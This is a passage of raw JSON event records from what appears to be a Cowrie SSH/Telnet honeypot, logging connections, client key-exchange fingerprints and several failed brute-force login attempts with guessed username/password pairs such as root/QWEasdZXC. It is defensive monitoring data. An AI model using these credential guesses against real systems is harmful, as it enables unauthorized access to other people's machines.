@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:18:09.986304Z","src_ip":"165.22.63.98","session":"5aa5967857c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"admin123","message":"login attempt [test/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:18:10.921622Z","src_ip":"165.22.63.98","session":"5aa5967857c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:18:12.160380Z","src_ip":"165.22.63.98","session":"5aa5967857c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":39480,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d74c1da5322","protocol":"telnet","message":"New connection: 64.227.101.30:39480 (10.17.0.5:23) [session: 3d74c1da5322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:18:21.707143Z"}
{"eventid":"cowrie.session.connect","src_ip":"189.58.28.136","src_port":57176,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2bf7bb6cc07","protocol":"telnet","message":"New connection: 189.58.28.136:57176 (159.203.135.109:23) [session: a2bf7bb6cc07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:18:25.511640Z"}
{"eventid":"cowrie.session.connect","src_ip":"105.159.104.110","src_port":36742,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b706a7d4b84","protocol":"telnet","message":"New connection: 105.159.104.110:36742 (159.203.135.109:23) [session: 1b706a7d4b84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:18:27.361878Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":39082,"dst_ip":"159.203.135.109","dst_port":23,"session":"e168fe4aa5bf","protocol":"telnet","message":"New connection: 68.183.198.12:39082 (159.203.135.109:23) [session: e168fe4aa5bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:18:31.890029Z"}
{"eventid":"cowrie.session.closed","duration":13.094928503036499,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:18:38.606444Z","src_ip":"189.58.28.136","session":"a2bf7bb6cc07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.22290587425232,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:18:40.584688Z","src_ip":"105.159.104.110","session":"1b706a7d4b84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.142.42","src_port":39000,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6217522aabc","protocol":"ssh","message":"New connection: 43.243.142.42:39000 (159.203.135.109:22) [session: e6217522aabc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:18:41.989278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:18:41.999088Z","src_ip":"43.243.142.42","session":"e6217522aabc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:18:42.246788Z","src_ip":"43.243.142.42","session":"e6217522aabc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kafka12","message":"login attempt [root/kafka12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:18:43.259520Z","src_ip":"43.243.142.42","session":"e6217522aabc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:18:44.505217Z","src_ip":"43.243.142.42","session":"e6217522aabc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":41570,"dst_ip":"159.203.135.109","dst_port":23,"session":"121c159fa712","protocol":"telnet","message":"New connection: 68.183.198.12:41570 (159.203.135.109:23) [session: 121c159fa712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:18:52.059386Z"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.66.164","src_port":51204,"dst_ip":"159.203.135.109","dst_port":22,"session":"2adc3637d0f6","protocol":"ssh","message":"New connection: 42.200.66.164:51204 (159.203.135.109:22) [session: 2adc3637d0f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:18:58.391523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:18:58.395683Z","src_ip":"42.200.66.164","session":"2adc3637d0f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:18:58.616458Z","src_ip":"42.200.66.164","session":"2adc3637d0f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test2025!","message":"login attempt [test/test2025!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:18:59.527514Z","src_ip":"42.200.66.164","session":"2adc3637d0f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:19:00.751698Z","src_ip":"42.200.66.164","session":"2adc3637d0f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":57654,"dst_ip":"10.17.0.5","dst_port":23,"session":"edfa04a34a9b","protocol":"telnet","message":"New connection: 64.227.101.30:57654 (10.17.0.5:23) [session: edfa04a34a9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:19:01.683199Z"}
{"eventid":"cowrie.session.closed","duration":42.611087799072266,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:19:04.318106Z","src_ip":"64.227.101.30","session":"3d74c1da5322","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":60090,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb6b11df28ed","protocol":"telnet","message":"New connection: 64.227.101.30:60090 (10.17.0.5:23) [session: fb6b11df28ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:19:05.990608Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":39175,"dst_ip":"10.17.0.5","dst_port":22,"session":"34848f9674c9","protocol":"ssh","message":"New connection: 216.155.93.75:39175 (10.17.0.5:22) [session: 34848f9674c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:19:11.431785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:19:11.436648Z","src_ip":"216.155.93.75","session":"34848f9674c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:19:11.584718Z","src_ip":"216.155.93.75","session":"34848f9674c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123123...","message":"login attempt [root/qwe123123...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:19:12.203868Z","src_ip":"216.155.93.75","session":"34848f9674c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:19:13.353636Z","src_ip":"216.155.93.75","session":"34848f9674c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.055171489715576,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:19:14.945073Z","src_ip":"68.183.198.12","session":"e168fe4aa5bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.36.49","src_port":13180,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d2461a41502","protocol":"ssh","message":"New connection: 49.247.36.49:13180 (10.17.0.5:22) [session: 2d2461a41502]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:19:17.733469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:19:17.738431Z","src_ip":"49.247.36.49","session":"2d2461a41502","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:19:17.942190Z","src_ip":"49.247.36.49","session":"2d2461a41502","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEasdZXC","message":"login attempt [root/QWEasdZXC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:19:18.793737Z","src_ip":"49.247.36.49","session":"2d2461a41502","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:19:20.001244Z","src_ip":"49.247.36.49","session":"2d2461a41502","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.199039459228516,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:19:36.258282Z","src_ip":"68.183.198.12","session":"121c159fa712","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.142.42","src_port":48224,"dst_ip":"159.203.135.109","dst_port":22,"session":"66049911e82a","protocol":"ssh","message":"New connection: 43.243.142.42:48224 (159.203.135.109:22) [session: 66049911e82a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:19:37.888977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:19:37.893834Z","src_ip":"43.243.142.42","session":"66049911e82a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:19:38.126601Z","src_ip":"43.243.142.42","session":"66049911e82a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"dev123","message":"login attempt [ubuntu/dev123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:19:39.091142Z","src_ip":"43.243.142.42","session":"66049911e82a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:19:40.328042Z","src_ip":"43.243.142.42","session":"66049911e82a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.66.164","src_port":39436,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf4780552681","protocol":"ssh","message":"New connection: 42.200.66.164:39436 (159.203.135.109:22) [session: bf4780552681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:19:57.516131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:19:57.521212Z","src_ip":"42.200.66.164","session":"bf4780552681","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:19:57.761367Z","src_ip":"42.200.66.164","session":"bf4780552681","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.25783634185791,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:19:58.248343Z","src_ip":"64.227.101.30","session":"fb6b11df28ed","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123456789","message":"login attempt [root/root123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:19:58.673589Z","src_ip":"42.200.66.164","session":"bf4780552681","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:19:59.898411Z","src_ip":"42.200.66.164","session":"bf4780552681","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":47641,"dst_ip":"10.17.0.5","dst_port":22,"session":"77e860b36932","protocol":"ssh","message":"New connection: 216.155.93.75:47641 (10.17.0.5:22) [session: 77e860b36932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:14.527857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:14.533793Z","src_ip":"216.155.93.75","session":"77e860b36932","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 